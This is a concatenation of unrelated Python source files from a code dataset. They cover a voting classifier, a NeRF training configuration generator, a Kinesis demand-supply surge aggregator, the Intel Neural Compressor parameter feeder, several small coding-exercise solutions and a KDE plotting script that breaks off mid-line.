run_classification_voting\r\nfrom constants import voting_param_grid\r\nimport pandas as pd\r\nimport joblib\r\nfrom sklearn.metrics import accuracy_score\r\n\r\nif __name__ == \"__main__\":\r\n X_train = pd.read_pickle('data/X_train.pkl')\r\n y_train = pd.read_pickle('data/y_train.pkl')\r\n X_test = pd.read_pickle('data/X_test.pkl')\r\n y_test = pd.read_pickle('data/y_test.pkl')\r\n\r\n random_forest = joblib.load('models/best_model_random_forest.pkl')\r\n extra_trees = joblib.load('models/best_model_extra_trees.pkl')\r\n ada_boost = joblib.load('models/best_model_ada_boost.pkl')\r\n gradient_boosting = joblib.load('models/best_model_gradient_boosting.pkl')\r\n logistic_regression = joblib.load('models/best_model_logistic_regression.pkl')\r\n\r\n run_classification_voting(X_train, X_test, y_train, y_test, 'voting_classifier', voting_param_grid,\r\n random_forest, extra_trees, ada_boost, gradient_boosting, logistic_regression,\r\n 'accuracy', accuracy_score, predict_probas_or_classes='classes')\r\n","sub_path":"classifier_voting.py","file_name":"classifier_voting.py","file_ext":"py","file_size_in_byte":1084,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"504740854","text":"import random\r\nfrom pandas import json_normalize\r\nimport json\r\n\r\n\r\ndef randomColor(labels):\r\n colors = []\r\n for item in labels:\r\n colors.append(\"%06x\" % random.randint(0, 0xFFFFFF))\r\n return colors\r\n\r\n \r\n\r\ndef getChart(data):\r\n csv = json_normalize(data[0])\r\n x = data[1]\r\n y = data[2]\r\n record, labels = list(csv[x]) , list(set(csv[y]))\r\n xtype, ytype = csv.dtypes[x], csv.dtypes[y]\r\n colors = randomColor(labels)\r\n\r\n return {\r\n 'record' : record,\r\n 'colors' : colors,\r\n 'labels' : labels\r\n }\r\n ","sub_path":"modules/chart.py","file_name":"chart.py","file_ext":"py","file_size_in_byte":563,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"243880959","text":"import os, os.path as op, sys, time\nimport pyperclip\nimport xml.etree.ElementTree as ET\nfrom shutil import copyfile\nfrom reconfigure_utils import inject_pycharm_config\n\nDATA = \"rocket_random_exr\"\nNAME = \"\" # postfix for dataset name\n\nRES = \"256x256\"\nPIXELS_PER_VIEW = '256'\nVIEW_PER_BATCH = '6' # not sure, but better to be an even divisor of PIXELS_PER_VIEW\nCHUNK_SIZE = '1' #'256' # > 1 to save memory to time\n\nLR = '0.0001' # 0.001\n\nCOLOR_WEIGHT = '1.0' #'256.0'\nALPHA_WEIGHT = '1e-3' #'1e-3'\n\n\nREDUCE_STEP_SIZE_AT = '7500,22500,60000'\nHALF_VOXEL_SIZE_AT = '7500,22500,60000'\nPRUNNING_EVERY_STEPS = '7500'\n\nPRUNNING_TH = '0.5' # '0.5'\nSAVE_INTERVAL_UPDATES = '2500'#'750' # '100'\nTOTAL_NUM_UPDATE = '200000' # 150000\nTRAIN_VIEWS = '0..150' # '0..100'\nVALID_VIEWS = '150..200' # '100..200\nNUM_WORKERS = '10' # '0'\n\n# VALID_VIEWS, REDUCE_STEP_SIZE_AT, HALF_VOXEL_SIZE_AT = '195..200', '100,200,300', '100,200,300'\n\nPREPROCESS = 'log' # none/mstd/minmax/log/nsvf(min_color==-1!)\nMIN_COLOR = '0.0' #\nMAX_COLOR = '0.8' # 0.8 - rocket/guitar/lego/hotdog; 5.0 - sphere; 0.3 - drums; 0.6 - lego-random\nGAMMA_CORRECTION = '2.0' # 2.0 - rocket/guitar/drums; 1.0 - sphere/lego; 1.5 - hotdog\nBG_COLOR = '0.0' # '0.25,0.25,0.25' # '1.0,1.0,1.0'\nSIGMA_NOISE = True\n# SIGMA_NOISE_LIGHT = False # not implemented yet\n\n\nTRACE_NORMAL = False\nLAMBERT_ONLY = False\nTASK = 'single_object_light_rendering'\n\n# # \n# ARCH = \"nsvf_base\"\n# TASK = 'single_object_rendering'\n# # \n\n# # \n# ARCH = \"mlnrf_base\"\n# # EMBL_L = '10' # !! Both EMBL_V & EMBL_L should be set in order to have effect !!\n# # EMBL_V = '10'\n# # \n\n# # \n# ARCH = \"mlnrfnrf_base\"\n# PREDICT_L = True\n# # LIGHT_INTENSITY = '1000.0' # sphere_exr -> 1k Watt\n# # LIGHT_INTENSITY = '500.0' # rocket_exr -> 5k Watt\n# # LIGHT_INTENSITY = '300.0' # guitar_exr -> 0.5k Watt\n# LIGHT_INTENSITY = '400.0'#'300.0' # lego -> 0.7k Watt\n# # LIGHT_INTENSITY = '1000.0' # drums -> 1k Watt\n# # LIGHT_INTENSITY = '500.0' # hotdog -> 0.7k Watt\n# TEXTURE_LAYERS = '5'\n# # \n\n# \nARCH = \"mlnrfexva_base\"\nPREDICT_L = True\nVOXEL_SIGMA = 0.5\n# LIGHT_INTENSITY = '1000.0' # sphere_exr -> 1k Watt\nLIGHT_INTENSITY = '5.0' # 500 excol; rocket_exr -> 5k Watt\n# LIGHT_INTENSITY = '350.0' # tablelamp_exr -> 0.5k Watt\n# LIGHT_INTENSITY = '50.0' # guitar_exr -> 0.5k Watt\n# LIGHT_INTENSITY = '40.0' # lego -> 0.7k Watt\n# LIGHT_INTENSITY = '50.0' # hotdog -> 0.7k Watt\nTEXTURE_LAYERS = '5'\n# \n\n# # \n# ARCH = \"mlnrfexbf_base\"\n# PREDICT_L = True\n# # LIGHT_INTENSITY = '1000.0' # sphere_exr -> 1k Watt\n# # LIGHT_INTENSITY = '500.0' # rocket_exr -> 5k Watt\n# # LIGHT_INTENSITY = '350.0' # tablelamp_exr -> 0.5k Watt\n# # LIGHT_INTENSITY = '200.0' # guitar_exr -> 0.5k Watt\n# LIGHT_INTENSITY = '20.0' # lego -> 0.7k Watt\n# # LIGHT_INTENSITY = '300.0' # hotdog -> 0.7k Watt\n# TEXTURE_LAYERS = '5'\n# # \n\n\n\nHDRFLIP = True\nLPIPS = True\n\nSUFFIX = \"v1\"\nDATASET = \"datasets/\" + DATA # \"data/Synthetic_NeRF/\" + DATA\nSAVE = \"checkpoint/\" + DATA + (('_' + NAME) if NAME else '')\n# SAVE = \"checkpoint/rocket_random_exr_test4\"\nMODEL = ARCH + SUFFIX\nVOXEL_NUM = '64' # '512' # mutually exclusive with VOXEL_SIZE = 0.27057\n#TODO: VOXEL_NUM & VOXEL_SIZE might not work as intended!\n\n\nUSE_OCTREE = True\n# USE_CPU = False # WARNING: does not work on CPU\n# SCENE_SCALE = '1.0'\n\nCOPY2CLIPBOARD = False # after running the script the configuration is inserted into clipboard\nINJECT_PYCHARM = True\nSAVE_FILE = True\nXML_PATH = '.run/train.run.xml'\nNUM_BACKUPS = 10\n\n\n# create directory if doesn't exist\n# if not os.path.exists(SAVE + '/' + MODEL): os.makedirs(SAVE + '/' + MODEL)\n\n# create configuration file\nparameters = DATASET\nif 'LIGHT_INTENSITY' in locals():\n\tparameters += '\\n--light-intensity ' + LIGHT_INTENSITY\n# parameters += '\\n--scene-scale ' + SCENE_SCALE\nparameters += '\\n--view-resolution ' + RES\nparameters += '\\n--valid-view-resolution ' + RES\nparameters += '\\n--view-per-batch ' + VIEW_PER_BATCH\nparameters += '\\n--valid-view-per-batch ' + VIEW_PER_BATCH\nparameters += '\\n--pixel-per-view ' + PIXELS_PER_VIEW\nparameters += '\\n--chunk-size ' + CHUNK_SIZE\nparameters += '\\n--valid-chunk-size ' + CHUNK_SIZE\nparameters += '\\n--lr ' + LR\nparameters += '\\n--color-weight ' + COLOR_WEIGHT\nparameters += '\\n--alpha-weight ' + ALPHA_WEIGHT\nparameters += '\\n--train-views \"' + TRAIN_VIEWS + '\"'\nparameters += '\\n--valid-views \"' + VALID_VIEWS + '\"'\nparameters += '\\n--half-voxel-size-at \"' + HALF_VOXEL_SIZE_AT + '\"'\nparameters += '\\n--reduce-step-size-at \"' + REDUCE_STEP_SIZE_AT + '\"'\nparameters += '\\n--pruning-every-steps ' + PRUNNING_EVERY_STEPS\nparameters += '\\n--save-interval-updates ' + SAVE_INTERVAL_UPDATES\nif 'VOXEL_SIGMA' in locals():\n\tparameters += '\\n--voxel-sigma ' + str(VOXEL_SIGMA)\nif 'PREPROCESS' in locals():\n\tparameters += '\\n--preprocess ' + PREPROCESS\nparameters += '\\n--min-color ' + MIN_COLOR\nparameters += '\\n--max-color ' + MAX_COLOR\nif 'GAMMA_CORRECTION' in locals():\n\tparameters += '\\n--gamma-correction ' + GAMMA_CORRECTION\nparameters += '\\n--total-num-update ' + TOTAL_NUM_UPDATE\nparameters += '\\n--max-update ' + TOTAL_NUM_UPDATE\nparameters += '\\n--user-dir fairnr'\n# parameters += '\\n--background-stop-gradient'\nparameters += '\\n--task ' + TASK\nparameters += '\\n--max-sentences 1'\nparameters += '\\n--no-preload'\nparameters += '\\n--sampling-on-mask 1.0'\nparameters += '\\n--no-sampling-at-reader'\nif 'SIGMA_NOISE' in locals() and SIGMA_NOISE:\n\tparameters += '\\n--discrete-regularization'\nif 'SIGMA_NOISE_LIGHT' in locals() and SIGMA_NOISE_LIGHT:\n\tparameters += '\\n--discrete-regularization-light'\nif 'HDRFLIP' in locals() and HDRFLIP:\n\tparameters += '\\n--eval-hdrflip'\nif 'LPIPS' in locals() and LPIPS:\n\tparameters += '\\n--eval-lpips'\nif 'COMPOSITE_R' in locals() and COMPOSITE_R:\n\tparameters += '\\n--composite-r'\nif 'VOXEL_NUM' in locals():\n\tparameters += '\\n--voxel-num ' + locals()['VOXEL_NUM']\nelif 'VOXEL_SIZE' in locals():\n\tparameters += '\\n--voxel-size ' + locals()['VOXEL_SIZE']\nif 'TRACE_NORMAL' in locals() and TRACE_NORMAL:\n\tparameters += '\\n--trace-normal'\nif 'LAMBERT_ONLY' in locals() and LAMBERT_ONLY:\n\tparameters += '\\n--lambert-only'\nif 'PREDICT_L' in locals() and PREDICT_L:\n\tparameters += '\\n--predict-l'\nparameters += '\\n--transparent-background \"' + BG_COLOR + '\"'\n# parameters += '\\n--no-background-loss'\nparameters += '\\n--background-stop-gradient'\nparameters += '\\n--arch ' + ARCH\nparameters += '\\n--initial-boundingbox ' + DATASET + '/bbox.txt'\nparameters += '\\n--raymarching-stepsize-ratio 0.125'\nif USE_OCTREE:\n\tparameters += '\\n--use-octree'\nif 'TEXTURE_LAYERS' in locals():\n\tparameters += '\\n--texture-layers ' + TEXTURE_LAYERS\nif 'EMBL_L' in locals() and 'EMBL_V' in locals():\n\tparameters += '\\n--inputs-to-texture feat:0:256,ray:'+EMBL_V+',light:'+EMBL_L+',lightd:0:1'\n# if USE_CPU:\n# \tparameters += '\\n--cpu'\nparameters += '\\n--optimizer \"adam\"'\nparameters += '\\n--adam-betas \"(0.9, 0.999)\"'\nparameters += '\\n--lr-scheduler \"polynomial_decay\"'\nparameters += '\\n--end-learning-rate ' + str(float(LR) * 1e-2)\nparameters += '\\n--clip-norm 0.0' # 0.01\nparameters += '\\n--criterion \"srn_loss\"'\nparameters += '\\n--num-workers ' + NUM_WORKERS\nparameters += '\\n--seed 2'\nparameters += '\\n--virtual-epoch-steps 5000'\nparameters += '\\n--save-interval 1'\nif 'PRUNNING_TH' in locals():\n\tparameters += '\\n--pruning-th ' + PRUNNING_TH\n# '--rendering-every-steps'\nparameters += '\\n--keep-interval-updates 5'\nparameters += '\\n--log-format simple'\nparameters += '\\n--log-interval 1'\nparameters += '\\n--tensorboard-logdir ' + SAVE + '/tensorboard/' + MODEL\nparameters += '\\n--save-dir ' + SAVE + '/' + MODEL\n\nif SAVE_FILE:\n\twith open('configuration.txt', 'w') as f:\n\t\t# f.write(parameters)\n\t\tf.write(parameters.replace('\\n', ' '))\n\nif COPY2CLIPBOARD:\n\tpyperclip.copy(parameters)\n\nif INJECT_PYCHARM:\n\tinject_pycharm_config('train', XML_PATH, parameters, NUM_BACKUPS)\n\n# # \n# ARCH = \"mlnrfex_base\"\n# TRACE_NORMAL = True\n# LAMBERT_ONLY = False\n# TEXTURE_LAYERS = '4'\n# LIGHT_INTENSITY = '1000.0'\n# # \n\n# # \n# ARCH = \"mlnrfiva_base\"\n# VOXEL_SIGMA = 0.8\n# # ","sub_path":"util/reconfigure_train.py","file_name":"reconfigure_train.py","file_ext":"py","file_size_in_byte":8834,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"99999972","text":"import re, subprocess\nfrom datetime import datetime\n\nimport glob, gzip, sys, os, time\n\ndef getInterfaceTotals():\n# DEVNULL = open(os.devnull, 'w')\n# command = \"ifconfig \" + interface, \"r\"\n# process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=DEVNULL, shell=True)\n f = open('ifconfig_output.txt',\"r\")\n result=f.read()\n f.close()\n print(result)\n\n r_ipconfig = re.compile(r\"RX bytes:(\\d+) .+ TX bytes:(\\d+)\")\n for line in result.split('\\n'):\n print('line is:',line)\n m_ipconfig = r_ipconfig.search(line)\n print('m_ipconfig:',m_ipconfig)\n if m_ipconfig:\n print(int(m_ipconfig.group(1)),int(m_ipconfig.group(2)))\n return(int(m_ipconfig.group(2)), int(m_ipconfig.group(1)))\n return (0, 0)\n\nmyName=\"\"\n#print('What is your name?') # ask for their name\nmyName = input(\"What is your name? \")\n# or just: myName = input('What is your name?')\nprint('It is good to meet you, ' + myName)\n\n#result = getInterfaceTotals()\n# print(result)\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":975,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"121676123","text":"from dbconnectprgm.dbconnect import *\ndb=get_connection()\ncursor=db.cursor()\n\nsql=\"select * from faculty\"\ntry:\n cursor.execute(sql)\n queryset=cursor.fetchall()\n # (100,ajay,ddatastructure) (101,vijay,csa)\n for faculty in queryset:\n print(\"id=\",faculty[0])\n print(\"name \",faculty[1])\n\nexcept Exception as e:\n print(e.args)\n\nfinally:\n db.close()","sub_path":"python to database connection/fetchdata.py","file_name":"fetchdata.py","file_ext":"py","file_size_in_byte":375,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"641220430","text":"# -*- coding:utf-8 -*-\r\n# Author: washing\r\n# DateTime: 2021/6/17 10:34\r\n# File: 0065.py\r\n# Desc: \r\n\r\nclass Solution:\r\n def isNumber(self, s: str) -> bool:\r\n if s == 'e' or 'f' in s: return False\r\n try:\r\n float(s)\r\n return True\r\n except: return False\r\n","sub_path":"Solutions/0065/0065.py","file_name":"0065.py","file_ext":"py","file_size_in_byte":297,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"584582073","text":"import sys,time\nimport geohash\nimport json\nimport boto3\nimport copy\nimport math\nimport logging\nimport psycopg2\nfrom decimal import *\nfrom datetime import datetime, timedelta\n\nconf_file = open(\"/home/ec2-user/.conf/db_config.json\",\"r\")\nconf = json.loads(conf_file.read())\nconf_file.close()\n\nrds_client = psycopg2.connect(database=conf[\"db\"], user = conf[\"user\"],\\\n password = conf[\"password\"], host = conf[\"host\"], port = conf[\"port\"])\nkinesis_client = boto3.client(\"kinesis\")\nlogger = None\n\ndef populateCount(geo_dict,rec_list,end_time):\n for rec in rec_list:\n data = json.loads(rec[\"Data\"])\n ts = datetime.strptime(data[\"ts\"],\"%Y-%m-%d %H:%M:%S\")\n if ts > end_time: return False\n geo_dict[data[\"hash\"]] = geo_dict[data[\"hash\"]]+1 if data[\"hash\"] in geo_dict else 1\n return True\n\ndef fetchAndAggregateRecords(queue_name,start_time,end_time):\n stream_info = kinesis_client.describe_stream(StreamName=queue_name)\n shard_id = stream_info[\"StreamDescription\"][\"Shards\"][0][\"ShardId\"]\n logger.info(\"shard_id:{} \".format(shard_id))\n\n shard_itr = kinesis_client.get_shard_iterator(\n StreamName=queue_name,\n ShardId=shard_id,\n ShardIteratorType=\"AT_TIMESTAMP\",\n Timestamp=start_time\n )\n shard_itr_cd = shard_itr[\"ShardIterator\"]\n resp = kinesis_client.get_records(ShardIterator=shard_itr_cd, Limit=100)\n\n geo_dict = {}\n if not populateCount(geo_dict,resp[\"Records\"],end_time):return geo_dict\n\n total_rec_cnt = len(resp[\"Records\"])\n while resp[\"NextShardIterator\"] is not None:\n shard_itr_cd = resp[\"NextShardIterator\"]\n time.sleep(0.5)\n resp = kinesis_client.get_records(ShardIterator=shard_itr_cd,Limit=100)\n\n rec_cnt = len(resp[\"Records\"])\n if rec_cnt==0:return geo_dict\n else: total_rec_cnt+=rec_cnt\n logger.info(\"Total records fetched:{}\".format(total_rec_cnt))\n\n if not populateCount(geo_dict,resp[\"Records\"],end_time):return geo_dict\n\n return geo_dict\n\ndef surge(demand,supply,max_surge):\n coeff = 1-max_surge\n x = float(demand)/float(supply)\n return max_surge + coeff * math.exp((1-x)/2)\n\ndef computeAreawiseSurge(geo_demand,geo_supply,max_surge):\n surge_dict = {}\n area_list = list(set(geo_demand.keys()+geo_supply.keys()))\n for area_hash in area_list:\n if area_hash not in geo_supply:\n surge_dict[area_hash] = max_surge\n elif area_hash not in geo_demand:\n surge_dict[area_hash] = 0\n else:\n surge_dict[area_hash] = surge(geo_demand[area_hash],geo_supply[area_hash],max_surge)\n return surge_dict\n\ndef updateSurgeTable(geo_surge,geo_demand,geo_supply):\n surge_table = \"public.data_service_regionsurge\"\n\n logger.info(\"Truncating the table...\")\n cur = rds_client.cursor()\n cur.execute(\"TRUNCATE {};\".format(surge_table))\n rds_client.commit()\n logger.info(\"Table truncated successfully.\")\n\n logger.info(\"Inserting the records into the table...\")\n ctr = 0\n for area_hash in geo_surge:\n supply = geo_supply[area_hash] if area_hash in geo_supply else 0\n demand = geo_demand[area_hash] if area_hash in geo_demand else 0\n cur.execute(\"INSERT INTO {} (geo_hash,demand,supply,surge) VALUES ('{}',\\\n {},{},{})\".format(surge_table,area_hash, demand, supply, geo_surge[area_hash]))\n ctr += 1\n if ctr%50==0:\n rds_client.commit()\n logger.info(\"Total records inserted:{}\".format(ctr))\n rds_client.commit()\n\nif __name__ == \"__main__\":\n total_params = 5\n params_given = len(sys.argv)\n if params_given != total_params+1:\n print(\"Missing arguments. Required {} given {}\".format(total_params,params_given))\n sys.exit(2)\n\n demand_queue = sys.argv[1]\n supply_queue = sys.argv[2]\n agg_interval = int(sys.argv[3])\n max_surge = int(sys.argv[4])\n log_file = sys.argv[5]\n\n logging.basicConfig(filename=log_file,format='%(asctime)s - %(levelname)s - %(message)s',level=logging.INFO)\n logger=logging.getLogger(__name__)\n\n end_time = datetime.now()\n start_time = end_time - timedelta(minutes=agg_interval)\n\n logger.info(\"Fetching demand records...\")\n geo_demand = fetchAndAggregateRecords(demand_queue,start_time,end_time)\n logger.info(\"Total {} demand records fetched for {} geo_areas\".format(sum(geo_demand.values()),len(geo_demand)))\n\n logger.info(\"Fetching supply records...\")\n geo_supply = fetchAndAggregateRecords(supply_queue,start_time,end_time)\n logger.info(\"Total {} supply records fetched for {} geo_areas\".format(sum(geo_supply.values()),len(geo_supply)))\n\n logger.info(\"Calculating surge for the areas...\")\n geo_surge = computeAreawiseSurge(geo_demand,geo_supply,max_surge)\n logger.info(\"Surge calculation complete.\")\n\n logger.info(\"Updating the surge table with {} records...\".format(len(geo_surge)))\n updateSurgeTable(geo_surge,geo_demand,geo_supply)\n logger.info(\"Surge table updated successfully.\")\n\n logger.info(\"================================\\n\")\n","sub_path":"kinesis/surge/demand_supply_aggregator.py","file_name":"demand_supply_aggregator.py","file_ext":"py","file_size_in_byte":5062,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"475153176","text":"if __name__ == \"__main__\":\n n,m = [int(x) for x in input().strip().split()]\n image = [input() for i in range(n)]\n\n res = 0\n for i in range(n-1):\n for j in range(m-1):\n s = image[i][j] + image[i][j+1] + image[i+1][j] + image[i+1][j+1]\n #print(\"\".join(sorted(s)))\n if \"\".join(sorted(s)) == \"acef\":\n res += 1\n print(res)\n","sub_path":"150607-Looksery-Cup-2015/549A-Face-Detection.py","file_name":"549A-Face-Detection.py","file_ext":"py","file_size_in_byte":388,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"546324027","text":"# -*- coding: utf-8 -*-\n# Copyright (c) 2021 Intel Corporation\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"Parameters feeder module.\"\"\"\nimport os\nfrom typing import Any, Dict, List, Optional\n\nfrom neural_compressor.experimental.metric.metric import framework_metrics\nfrom neural_compressor.objective import OBJECTIVES\nfrom neural_compressor.strategy import STRATEGIES\nfrom neural_compressor.ux.components.model.repository import ModelRepository\nfrom neural_compressor.ux.utils.exceptions import ClientErrorException\nfrom neural_compressor.ux.utils.utils import (\n check_module,\n filter_transforms,\n load_dataloader_config,\n load_help_nc_params,\n load_model_config,\n load_precisions_config,\n load_transforms_config,\n)\nfrom neural_compressor.ux.web.configuration import Configuration\n\n\nclass Feeder:\n \"\"\"Parameters feeder class.\"\"\"\n\n def __init__(self, data: Dict[str, Any]) -> None:\n \"\"\"Initialize parameters feeder class.\"\"\"\n self.param: Optional[str] = data.get(\"param\")\n self.config: Dict[str, Any] = data.get(\"config\", {})\n\n def feed(self) -> Dict[str, Any]:\n \"\"\"Feed the parameters.\"\"\"\n param_mapper = {\n \"framework\": self.get_frameworks,\n \"domain\": self.get_domains,\n \"model\": self.get_models,\n \"dataloader\": self.get_dataloaders,\n \"transform\": self.get_transforms,\n \"objective\": self.get_objectives,\n \"strategy\": self.get_strategies,\n \"quantization_approach\": self.get_quantization_approaches,\n \"metric\": self.get_metrics,\n \"precision\": self.get_precisions,\n }\n if self.param is None:\n raise ClientErrorException(\"Parameter not defined.\")\n get_param = param_mapper.get(self.param, None)\n if get_param is None:\n raise ClientErrorException(\n f\"Could not found method for {self.param} parameter.\",\n )\n\n return {\n self.param: get_param(),\n }\n\n @staticmethod\n def get_frameworks() -> List[dict]:\n \"\"\"Get list of available frameworks.\"\"\"\n supported_frameworks = ModelRepository.get_supported_frameworks()\n frameworks = []\n models_config = load_model_config()\n for framework in models_config.keys():\n if framework.startswith(\"__help__\"):\n continue\n if framework not in supported_frameworks:\n continue\n help_msg = models_config.get(f\"__help__{framework}\", \"\")\n frameworks.append({\"name\": framework, \"help\": help_msg})\n return frameworks\n\n def get_domains(self) -> List[Dict[str, Any]]:\n \"\"\"Get list of available domains.\"\"\"\n framework = self.config.get(\"framework\", None)\n if framework is None:\n raise ClientErrorException(\"Framework not set.\")\n models_config = load_model_config()\n domains = []\n for domain in models_config.get(framework, {}).keys():\n if domain.startswith(\"__help__\"):\n continue\n help_msg = models_config.get(framework, {}).get(f\"__help__{domain}\", \"\")\n domains.append(\n {\n \"name\": domain,\n \"help\": help_msg,\n },\n )\n return domains\n\n def get_models(self) -> List[Dict[str, Any]]:\n \"\"\"Get list of models.\"\"\"\n framework = self.config.get(\"framework\", None)\n if framework is None:\n raise ClientErrorException(\"Framework not set.\")\n domain = self.config.get(\"domain\", None)\n if domain is None:\n raise ClientErrorException(\"Domain not set.\")\n models_config = load_model_config()\n\n raw_models_dict = models_config.get(framework, {}).get(domain, {})\n models = []\n for model in raw_models_dict.keys():\n if model.startswith(\"__help__\"):\n continue\n help_msg = raw_models_dict.get(f\"__help__{model}\", \"\")\n models.append({\"name\": model, \"help\": help_msg})\n return models\n\n def get_dataloaders(self) -> List[Dict[str, Any]]:\n \"\"\"Get available dataloaders.\"\"\"\n framework = self.config.get(\"framework\", None)\n if framework is None:\n raise ClientErrorException(\"Framework not set.\")\n for fw_dataloader in load_dataloader_config():\n if fw_dataloader.get(\"name\") == framework:\n return fw_dataloader.get(\"params\", [])\n return []\n\n def get_transforms(self) -> List[Dict[str, Any]]:\n \"\"\"Get available transforms.\"\"\"\n framework = self.config.get(\"framework\", None)\n if framework is None:\n raise ClientErrorException(\"Framework not set.\")\n domain = self.config.get(\"domain\", None)\n transforms = []\n for fw_transforms in load_transforms_config():\n if fw_transforms.get(\"name\") == framework:\n transforms = fw_transforms.get(\"params\", [])\n break\n if domain is not None:\n transforms = filter_transforms(transforms, framework, domain)\n return transforms\n\n @staticmethod\n def get_objectives() -> List[dict]:\n \"\"\"Get list of supported objectives.\"\"\"\n help_dict = load_help_nc_params(\"objectives\")\n\n objectives = []\n for objective in OBJECTIVES.keys():\n help_msg = help_dict.get(f\"__help__{objective}\", \"\")\n objectives.append({\"name\": objective, \"help\": help_msg})\n return objectives\n\n @staticmethod\n def get_strategies() -> List[Dict[str, Any]]:\n \"\"\"Get list of supported strategies.\"\"\"\n help_dict = load_help_nc_params(\"strategies\")\n strategies = []\n for strategy in STRATEGIES.keys():\n if \"sigopt\" == strategy:\n continue\n help_msg = help_dict.get(f\"__help__{strategy}\", \"\")\n strategies.append({\"name\": strategy, \"help\": help_msg})\n return strategies\n\n def get_precisions(self) -> List[dict]:\n \"\"\"Get list of available precisions.\"\"\"\n framework = self.config.get(\"framework\", None)\n if framework is None:\n raise ClientErrorException(\"Framework not set.\")\n return load_precisions_config().get(framework, [])\n\n def get_quantization_approaches(self) -> List[Dict[str, Any]]:\n \"\"\"Get list of supported quantization approaches.\"\"\"\n approaches = [\n {\n \"name\": \"post_training_static_quant\",\n \"help\": \"help placeholder for post_training_static_quant\",\n },\n ]\n framework = self.config.get(\"framework\", None)\n if framework in [\"pytorch\", \"onnxrt\"]:\n approaches.append(\n {\n \"name\": \"post_training_dynamic_quant\",\n \"help\": f\"help placeholder for {framework} post_training_dynamic_quant\",\n },\n )\n\n return approaches\n\n def get_metrics(self) -> List[Dict[str, Any]]:\n \"\"\"Get list of possible metrics.\"\"\"\n framework = self.config.get(\"framework\", None)\n if framework is None:\n raise ClientErrorException(\"Framework not set.\")\n\n if framework == \"pytorch\":\n check_module(\"ignite\")\n else:\n check_module(framework)\n\n help_dict = load_help_nc_params(\"metrics\")\n\n key_in_framework_metrics = \"onnxrt_qlinearops\" if framework == \"onnxrt\" else framework\n metrics_class = framework_metrics.get(key_in_framework_metrics)\n raw_metric_list = list(metrics_class().metrics.keys()) if metrics_class else []\n raw_metric_list += [\"custom\"]\n metrics_updated = _update_metric_parameters(raw_metric_list)\n for metric, value in metrics_updated.copy().items():\n if isinstance(value, dict):\n for key in value.copy().keys():\n for field in [\"help\", \"label\"]:\n msg_key = f\"__{field}__{key}\"\n metrics_updated[metric][msg_key] = help_dict.get(\n metric,\n {},\n ).get(msg_key, \"\")\n metrics_updated[f\"__help__{metric}\"] = help_dict.get(\n f\"__help__{metric}\",\n \"\",\n )\n return self._parse_help_in_dict(metrics_updated)\n\n def _parse_help_in_dict(self, data: dict) -> list:\n parsed_list = []\n for key, value in data.items():\n if key.startswith(\"__help__\") or key.startswith(\"__label__\"):\n continue\n if isinstance(value, dict):\n parsed_list.append(\n {\n \"name\": key,\n \"help\": data.get(f\"__help__{key}\", \"\"),\n \"params\": self._parse_help_in_dict(value),\n },\n )\n else:\n item = {\n \"name\": key,\n \"help\": data.get(f\"__help__{key}\", \"\"),\n \"value\": value,\n }\n label = data.get(f\"__label__{key}\")\n if label:\n item[\"label\"] = label\n parsed_list.append(item)\n return parsed_list\n\n\ndef _update_metric_parameters(metric_list: List[str]) -> Dict[str, Any]:\n \"\"\"Add parameters to metrics.\"\"\"\n metrics: Dict[str, Any] = {}\n for metric in metric_list:\n if metric == \"topk\":\n metrics.update({metric: {\"k\": [1, 5]}})\n elif metric == \"COCOmAP\":\n annotation_path = os.path.join(Configuration().workdir, \"label_map.yaml\")\n metrics.update({metric: {\"anno_path\": annotation_path}})\n elif metric in [\"MSE\", \"RMSE\", \"MAE\"]:\n metrics.update({metric: {\"compare_label\": True}})\n else:\n metrics.update({metric: None})\n return metrics\n\n\ndef get_possible_values(data: dict) -> Dict[str, List[Any]]:\n \"\"\"Get list of possible values for specified scenario with \"help\" information.\"\"\"\n feeder = Feeder(data)\n return feeder.feed()\n","sub_path":"neural_compressor/ux/components/configuration_wizard/params_feeder.py","file_name":"params_feeder.py","file_ext":"py","file_size_in_byte":10650,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"512633342","text":"import numpy as np\nimport matplotlib.pylab as plt\nimport scipy.stats\n\n\n\nnsamp = 10000\n\nx0 = 5\nxsd = 3\n\ny0 = 9\nysd = 1.\n\nnbinx = 100\nnbiny = 100\n\n\ncov = np.zeros((2,2))\ncov[0,0] = xsd**0.5\ncov[1,1,] = ysd**0.5\n\n\n\n\nsamp = np.random.multivariate_normal([x0,y0],cov,nsamp)\nx = samp[:,0]\ny = samp[:,1]\n\nxlimlo = np.min(x)\nxlimhi = np.max(x)\nbinwidth_x = (xlimhi - xlimlo)/(nbinx - 1)\n\nylimlo = np.min(y)\nylimhi = np.max(y)\nbinwidth_y = (ylimhi - ylimlo)/(nbiny - 1)\n\n\nboth = np.array((x,y)).T\npdf1=scipy.stats.kde.gaussian_kde(both.T)\nq,w=np.meshgrid(np.arange(xlimlo,xlimhi,binwidth_x), np.arange(ylimlo,ylimhi,binwidth_y))\nr1=pdf1([q.flatten(),w.flatten()])\nr1.shape=(q.shape[0],q.shape[1])\n\n\nplt.scatter(samp[:,0], samp[:,1])\nplt.contour(np.arange(xlimlo,xlimhi,binwidth_x), np.arange(ylimlo,ylimhi,binwidth_y), 